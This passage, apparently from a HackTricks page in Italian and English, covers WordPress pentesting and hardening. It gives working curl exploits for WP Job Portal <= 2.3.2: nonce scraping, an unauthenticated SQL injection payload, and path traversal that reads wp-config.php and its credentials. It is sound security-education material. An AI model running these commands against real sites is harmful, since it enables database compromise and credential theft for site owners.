- Testare prima i percorsi non autenticati (AJAX `nopriv`, REST con `permission_callback` permissivo, shortcodes pubblici). I payload di default spesso riescono senza offuscamento.
|
||
- Casi tipici ad alto impatto: escalation di privilegi (controllo accessi rotto), upload/download arbitrario di file, LFI, open redirect.
|
||
|
||
Note difensive
|
||
|
||
- Non affidarsi alle signature WAF generiche per proteggere le CVE dei plugin. Implementare patch virtuali a livello applicazione specifiche per la vulnerabilità o aggiornare rapidamente.
|
||
- Preferire controlli di sicurezza a approccio positivo nel codice (capabilities, nonces, validazione rigorosa degli input) rispetto a filtri regex negativi.
|
||
|
||
## Protezione WordPress
|
||
|
||
### Aggiornamenti regolari
|
||
|
||
Assicurarsi che WordPress, i plugin e i temi siano aggiornati. Confermare inoltre che l'aggiornamento automatico sia abilitato in wp-config.php:
|
||
```bash
|
||
define( 'WP_AUTO_UPDATE_CORE', true );
|
||
add_filter( 'auto_update_plugin', '__return_true' );
|
||
add_filter( 'auto_update_theme', '__return_true' );
|
||
```
|
||
Inoltre, **installa solo plugin e temi WordPress affidabili**.
|
||
|
||
### Security Plugins
|
||
|
||
- [**Wordfence Security**](https://wordpress.org/plugins/wordfence/)
|
||
- [**Sucuri Security**](https://wordpress.org/plugins/sucuri-scanner/)
|
||
- [**iThemes Security**](https://wordpress.org/plugins/better-wp-security/)
|
||
|
||
### **Other Recommendations**
|
||
|
||
- Rimuovi l'utente predefinito **admin**
|
||
- Usa **password robuste** e **2FA**
|
||
- Revisiona periodicamente i **permessi** degli **utenti**
|
||
- **Limita i tentativi di login** per prevenire attacchi Brute Force
|
||
- Rinomina il file **`wp-admin.php`** e consenti l'accesso solo internamente o da determinati indirizzi IP.
|
||
|
||
|
||
### Unauthenticated SQL Injection tramite validazione insufficiente (WP Job Portal <= 2.3.2)
|
||
|
||
Il plugin WP Job Portal per il reclutamento esponeva un task **savecategory** che alla fine esegue il seguente codice vulnerabile all'interno di `modules/category/model.php::validateFormData()`:
|
||
```php
|
||
$category = WPJOBPORTALrequest::getVar('parentid');
|
||
$inquery = ' ';
|
||
if ($category) {
|
||
$inquery .= " WHERE parentid = $category "; // <-- direct concat ✗
|
||
}
|
||
$query = "SELECT max(ordering)+1 AS maxordering FROM "
|
||
. wpjobportal::$_db->prefix . "wj_portal_categories " . $inquery; // executed later
|
||
```
|
||
Problemi introdotti da questo snippet:
|
||
|
||
1. **Unsanitised user input** – `parentid` proviene direttamente dalla richiesta HTTP.
|
||
2. **String concatenation inside the WHERE clause** – assenza di `is_numeric()` / `esc_sql()` / prepared statement.
|
||
3. **Unauthenticated reachability** – although the action is executed through `admin-post.php`, the only check in place is a **CSRF nonce** (`wp_verify_nonce()`), which any visitor can retrieve from a public page embedding the shortcode `[wpjobportal_my_resumes]`.
|
||
|
||
#### Exploitation
|
||
|
||
1. Recupera un nonce valido:
|
||
```bash
|
||
curl -s https://victim.com/my-resumes/ | grep -oE 'name="_wpnonce" value="[a-f0-9]+' | cut -d'"' -f4
|
||
```
|
||
2. Inietta SQL arbitrario sfruttando `parentid`:
|
||
```bash
|
||
curl -X POST https://victim.com/wp-admin/admin-post.php \
|
||
-d 'task=savecategory' \
|
||
-d '_wpnonce=<nonce>' \
|
||
-d 'parentid=0 OR 1=1-- -' \
|
||
-d 'cat_title=pwn' -d 'id='
|
||
```
|
||
La risposta rivela il risultato della query iniettata o modifica il database, dimostrando la presenza di SQLi.
|
||
|
||
|
||
### Unauthenticated Arbitrary File Download / Path Traversal (WP Job Portal <= 2.3.2)
|
||
|
||
Another task, **downloadcustomfile**, allowed visitors to download **any file on disk** via path traversal. The vulnerable sink is located in `modules/customfield/model.php::downloadCustomUploadedFile()`:
|
||
```php
|
||
$file = $path . '/' . $file_name;
|
||
...
|
||
echo $wp_filesystem->get_contents($file); // raw file output
|
||
```
|
||
`$file_name` è attacker-controlled e concatenato **senza sanitizzazione**. Di nuovo, l'unica barriera è una **CSRF nonce** che può essere recuperata dalla pagina del curriculum.
|
||
|
||
#### Exploitation
|
||
```bash
|
||
curl -G https://victim.com/wp-admin/admin-post.php \
|
||
--data-urlencode 'task=downloadcustomfile' \
|
||
--data-urlencode '_wpnonce=<nonce>' \
|
||
--data-urlencode 'upload_for=resume' \
|
||
--data-urlencode 'entity_id=1' \
|
||
--data-urlencode 'file_name=../../../wp-config.php'
|
||
```
|
||
Il server risponde con il contenuto di `wp-config.php`, leaking DB credentials and auth keys.
|
||
|
||
## Riferimenti
|
||
|
||
- [Unauthenticated Arbitrary File Deletion Vulnerability in Litho Theme](https://patchstack.com/articles/unauthenticated-arbitrary-file-delete-vulnerability-in-litho-the/)
|
||
- [Multiple Critical Vulnerabilities Patched in WP Job Portal Plugin](https://patchstack.com/articles/multiple-critical-vulnerabilities-patched-in-wp-job-portal-plugin/)
|
||
- [Rare Case of Privilege Escalation in ASE Plugin Affecting 100k+ Sites](https://patchstack.com/articles/rare-case-of-privilege-escalation-in-ase-plugin-affecting-100k-sites/)
|
||
- [ASE 7.6.3 changeset – delete original roles on profile update](https://plugins.trac.wordpress.org/changeset/3211945/admin-site-enhancements/tags/7.6.3/classes/class-view-admin-as-role.php?old=3208295&old_path=admin-site-enhancements%2Ftags%2F7.6.2%2Fclasses%2Fclass-view-admin-as-role.php)
|
||
- [Hosting security tested: 87.8% of vulnerability exploits bypassed hosting defenses](https://patchstack.com/articles/hosting-security-tested-87-percent-of-vulnerability-exploits-bypassed-hosting-defenses/)
|
||
- [WooCommerce Payments ≤ 5.6.1 – Unauth privilege escalation via trusted header (Patchstack DB)](https://patchstack.com/database/wordpress/plugin/woocommerce-payments/vulnerability/wordpress-woocommerce-payments-plugin-5-6-1-unauthenticated-privilege-escalation-vulnerability)
|
||
- [Hackers exploiting critical WordPress WooCommerce Payments bug](https://www.bleepingcomputer.com/news/security/hackers-exploiting-critical-wordpress-woocommerce-payments-bug/)
|
||
|
||
{{#include ../../banners/hacktricks-training.md}}
|